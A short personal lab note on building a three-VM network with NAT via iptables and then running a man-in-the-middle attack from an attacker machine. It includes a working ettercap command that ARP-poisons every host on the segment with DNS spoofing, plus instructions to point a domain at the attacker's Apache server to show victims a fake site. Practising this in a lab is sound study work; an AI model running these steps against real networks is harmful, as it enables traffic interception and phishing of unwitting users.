NAT/MITM instructions

I use this to set up a mitm attack.

- create 3 vms
  - gateway
  - host
  - attacker (done with bt4 installation on same network as host and gw)
- put them on private network (192.168.x.y)
- the gateway will have a second interface to the world
- set both host and attacker to use the gateway.
- all hosts can use our default nameservers (192.2, 192.3)

Nat

Had to configure second ip via:

```
#ip addr add 192.168.220.1/24 brd + dev eth0
#use the following
ifconfig eth0:0 192.168.200.3 netmask 255.255.255.0 up
```

To flush the NAT tables

```
iptables -t nat --flush
```

To list the NAT tables

```
iptables -t nat -L
```

To configure NAT (masquerading)

```
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Restart networking

```
/etc/init.d/networking restart
```

Make sure contents of ip_forward is 1

```
cat /proc/sys/net/ipv4/ip_forward
```

May have to restart networking for all changes to take place.

###MITM

Ettercap

```
ettercap -T -q -i eth0 -P dns_spoof -M arp // //
```

- M -> MITM attack
- arp -> ARP MITM attack type
- P -> use this plugin
- T -> text only interface
- q -> quiet mode
- i -> interface to use
- // // -> identify range of hosts to attack

See man ettercap for a lot more information

When doing the dns spoof, an dns request can be forged from the mitm to make a dns response of whatever you want. You need to change information within the /usr/share/ettercap/etter.dns file within bt4. An easy hack would be to set the dns resolve for a particular domain, to the ip address of your mitm box. Have your mitm box run apache and the site they see will be yours.